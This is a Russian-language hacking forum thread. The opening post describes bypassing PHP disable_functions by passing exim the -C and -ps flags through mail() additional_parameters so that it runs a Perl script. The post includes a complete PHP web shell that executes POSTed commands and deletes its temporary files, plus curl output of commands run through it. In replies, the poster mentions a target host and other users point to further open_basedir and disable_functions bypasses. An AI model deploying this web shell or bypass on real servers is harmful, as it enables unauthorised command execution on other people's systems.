ковырял один сайт, позарез хотелось обойти disable_function, обнаружил один способ в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters" Spoiler Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f. Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр. Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки). Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users. это параметры будут переданы при вызове sendmail можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps ) особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером Spoiler Exim version 4.76 Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011) Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp Fixed never_users: 0 Size of off_t: 8 Compiler: GCC [4.6.3] Library version: GnuTLS: Compile: 2.12.14 Runtime: 2.12.14 Library version: Cyrus SASL: Compile: 2.1.25 Runtime: 2.1.25 [Cyrus SASL] Library version: PCRE: Compile: 8.12 Runtime: 8.12 2011-01-15 20:06:28 36459 Total 18 lookups Library version: MySQL: Compile: 5.5.28 [(Ubuntu)] Runtime: 5.1.73 Library version: SQLite: Compile: 3.7.9 Runtime: 3.7.9 набросал небольшой код для автоматизации, под спойлером Spoiler Code: <?php $dis = ini_get('disable_functions'); print "[*] disable_function: ".$dis."\n"; $cmd = $_POST['cmd']; print "[*] cmd: ".$cmd."\n"; $path = getcwd(); print "[*] result: "; file_put_contents('tmp.pl',"\$a=`$cmd`;open(A,'>$path/tmp.result');print A \"\$a\";close(A);"); file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'"); mail('q','q','q','',"-C$path/ex.cf -ps"); echo file_get_contents("$path/tmp.result"); unlink("$path/tmp.result"); unlink("$path/tmp.pl"); unlink("$path/ex.cf"); результат работы - Spoiler Code: ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3' [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority [*] cmd: which wget;wget -h | head -n 3 [*] result: /usr/bin/wget GNU Wget 1.13.4, a non-interactive network retriever. Usage: wget [OPTION]... [URL]... ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname' [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority [*] cmd: uname [*] result: Linux ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php' [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority [*] cmd: cat q.php [*] result: <?php $dis = ini_get('disable_functions'); print "[*] disable_function: ".$dis."\n"; $cmd = $_POST['cmd']; print "[*] cmd: ".$cmd."\n"; $path = getcwd(); print "[*] result: "; file_put_contents('tmp.pl',"\$a=`$cmd`;open(A,'>$path/tmp.result');print A \"\$a\";close(A);"); file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'"); mail('q','q','q','',"-C$path/ex.cf -ps"); echo file_get_contents("$path/tmp.result"); unlink("$path/tmp.result"); unlink("$path/tmp.pl"); unlink("$path/ex.cf"); само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла сори если не в той ветке пишу, потестите у кого будет время
Рядом лежит более универсальный способ. https://rdot.org/forum/showthread.php?t=3309 Но первым тему раскопал tipsy. == По любому - молодец. ==
да этот линк у меня в закладках к сожалению не работает, предполагаю что из ограничения open_basedir то есть /proc/self/exe и /proc/self/maps попросту не читаются попробую на днях обойти open_basedir и заюзать https://rdot.org/forum/showthread.php?t=3309 если это в принципе возможно, кстати может кто сталкивался с подобным, может быть уже есть решения? p.s. способ который описал выше на целевом хосте тоже не отработал продебажить сложно, пока не знаю почему p.s.s. идея пришла после прочтения статьи http://oleaass.com/exploit-php-mail-remote-code-exeution/ кто первым раскопал не знаю, можно пруф на тему tipsy почитать?
Линк дать не могу, но за основу можно брать это https://bugs.php.net/bug.php?id=46741, например https://rdot.org/forum/showpost.php?p=38750&postcount=16 выручало много раз, обходит и open_basedir и disable_functions и safe_mode.
гыгы народ зашарил что если exim работает из под рута, то это плохо)) http://www.openwall.com/lists/oss-security/2016/03/03/6